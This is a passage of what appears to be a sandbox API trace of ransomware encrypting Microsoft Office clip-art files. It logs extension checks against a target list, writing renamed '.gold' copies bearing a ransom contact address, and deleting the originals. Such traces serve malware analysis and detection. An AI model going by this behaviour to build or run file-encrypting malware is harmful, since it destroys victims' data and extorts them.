Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0051.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.105] lstrlenW (lpString=".doc") returned 4 [0051.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.105] lstrlenW (lpString=".docx") returned 5 [0051.105] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.105] lstrlenW (lpString=".pdf") returned 4 [0051.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.105] lstrlenW (lpString=".xls") returned 4 [0051.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.105] lstrlenW (lpString=".xlsx") returned 5 [0051.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.105] lstrlenW (lpString=".ppt") returned 4 [0051.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.105] lstrlenW (lpString=".zip") returned 4 [0051.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.105] lstrlenW (lpString=".rar") returned 4 [0051.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString=".bz2") returned 4 [0051.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString=".7z") returned 3 [0051.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.106] lstrlenW (lpString=".dbf") returned 4 [0051.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.106] lstrlenW (lpString=".1cd") returned 4 [0051.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.106] lstrlenW (lpString=".jpg") returned 4 [0051.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.106] lstrlenW (lpString=".doc") returned 4 [0051.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString=".docx") returned 5 [0051.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.106] lstrlenW (lpString=".pdf") returned 4 [0051.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString=".xls") returned 4 [0051.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.106] lstrlenW (lpString=".xlsx") returned 5 [0051.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.106] lstrlenW (lpString=".ppt") returned 4 [0051.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.106] lstrlenW (lpString=".zip") returned 4 [0051.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.106] lstrlenW (lpString=".rar") returned 4 [0051.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString=".bz2") returned 4 [0051.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString=".7z") returned 3 [0051.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.106] lstrlenW (lpString=".dbf") returned 4 [0051.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.106] lstrlenW (lpString=".1cd") returned 4 [0051.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0051.107] lstrlenW (lpString=".jpg") returned 4 [0051.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.107] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.107] lstrlenW (lpString="BD08808_.WMF") returned 12 [0051.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.107] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=47996) returned 1 [0051.107] CloseHandle (hObject=0x214) returned 1 [0051.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0051.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.107] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.107] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.108] GetLastError () returned 0x0 [0051.108] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0051.110] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0051.111] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0051.111] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.111] SetEndOfFile (hFile=0x21c) returned 1 [0051.111] CloseHandle (hObject=0x21c) returned 1 [0051.111] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.111] SetEndOfFile (hFile=0x214) returned 1 [0051.112] CloseHandle (hObject=0x214) returned 1 [0051.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0051.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.113] lstrlenW (lpString=".doc") returned 4 [0051.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.113] lstrlenW (lpString=".docx") returned 5 [0051.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.113] lstrlenW (lpString=".pdf") returned 4 [0051.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.113] lstrlenW (lpString=".xls") returned 4 [0051.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.113] lstrlenW (lpString=".xlsx") returned 5 [0051.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.113] lstrlenW (lpString=".ppt") returned 4 [0051.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.113] lstrlenW (lpString=".zip") returned 4 [0051.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.113] lstrlenW (lpString=".rar") returned 4 [0051.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.113] lstrlenW (lpString=".bz2") returned 4 [0051.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.113] lstrlenW (lpString=".7z") returned 3 [0051.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.113] lstrlenW (lpString=".dbf") returned 4 [0051.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.113] lstrlenW (lpString=".1cd") returned 4 [0051.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.113] lstrlenW (lpString=".jpg") returned 4 [0051.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.113] lstrlenW (lpString=".doc") returned 4 [0051.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.113] lstrlenW (lpString=".docx") returned 5 [0051.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.113] lstrlenW (lpString=".pdf") returned 4 [0051.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.113] lstrlenW (lpString=".xls") returned 4 [0051.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.113] lstrlenW (lpString=".xlsx") returned 5 [0051.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.114] lstrlenW (lpString=".ppt") returned 4 [0051.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.114] lstrlenW (lpString=".zip") returned 4 [0051.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.114] lstrlenW (lpString=".rar") returned 4 [0051.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.114] lstrlenW (lpString=".bz2") returned 4 [0051.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.114] lstrlenW (lpString=".7z") returned 3 [0051.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.114] lstrlenW (lpString=".dbf") returned 4 [0051.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.114] lstrlenW (lpString=".1cd") returned 4 [0051.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0051.114] lstrlenW (lpString=".jpg") returned 4 [0051.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.114] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.114] lstrlenW (lpString="BD08868_.WMF") returned 12 [0051.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.114] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=40206) returned 1 [0051.114] CloseHandle (hObject=0x214) returned 1 [0051.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0051.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.115] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.115] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.115] GetLastError () returned 0x0 [0051.115] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0051.117] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0051.118] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0051.118] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.118] SetEndOfFile (hFile=0x21c) returned 1 [0051.118] CloseHandle (hObject=0x21c) returned 1 [0051.118] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.118] SetEndOfFile (hFile=0x214) returned 1 [0051.119] CloseHandle (hObject=0x214) returned 1 [0051.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0051.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.119] lstrlenW (lpString=".doc") returned 4 [0051.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString=".docx") returned 5 [0051.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.120] lstrlenW (lpString=".pdf") returned 4 [0051.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString=".xls") returned 4 [0051.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.120] lstrlenW (lpString=".xlsx") returned 5 [0051.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.120] lstrlenW (lpString=".ppt") returned 4 [0051.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.120] lstrlenW (lpString=".zip") returned 4 [0051.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.120] lstrlenW (lpString=".rar") returned 4 [0051.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString=".bz2") returned 4 [0051.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString=".7z") returned 3 [0051.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.120] lstrlenW (lpString=".dbf") returned 4 [0051.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.120] lstrlenW (lpString=".1cd") returned 4 [0051.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.120] lstrlenW (lpString=".jpg") returned 4 [0051.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.120] lstrlenW (lpString=".doc") returned 4 [0051.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString=".docx") returned 5 [0051.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.120] lstrlenW (lpString=".pdf") returned 4 [0051.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString=".xls") returned 4 [0051.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.120] lstrlenW (lpString=".xlsx") returned 5 [0051.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.120] lstrlenW (lpString=".ppt") returned 4 [0051.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.120] lstrlenW (lpString=".zip") returned 4 [0051.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.120] lstrlenW (lpString=".rar") returned 4 [0051.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.121] lstrlenW (lpString=".bz2") returned 4 [0051.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.121] lstrlenW (lpString=".7z") returned 3 [0051.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.121] lstrlenW (lpString=".dbf") returned 4 [0051.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.121] lstrlenW (lpString=".1cd") returned 4 [0051.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0051.121] lstrlenW (lpString=".jpg") returned 4 [0051.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.121] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.121] lstrlenW (lpString="BD09031_.WMF") returned 12 [0051.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.121] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=47786) returned 1 [0051.121] CloseHandle (hObject=0x214) returned 1 [0051.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0051.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.122] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.122] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.122] GetLastError () returned 0x0 [0051.122] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0051.298] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0051.299] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0051.299] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.299] SetEndOfFile (hFile=0x21c) returned 1 [0051.300] CloseHandle (hObject=0x21c) returned 1 [0051.300] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.300] SetEndOfFile (hFile=0x214) returned 1 [0051.300] CloseHandle (hObject=0x214) returned 1 [0051.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0052.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.238] lstrlenW (lpString=".doc") returned 4 [0052.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.238] lstrlenW (lpString=".docx") returned 5 [0052.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.238] lstrlenW 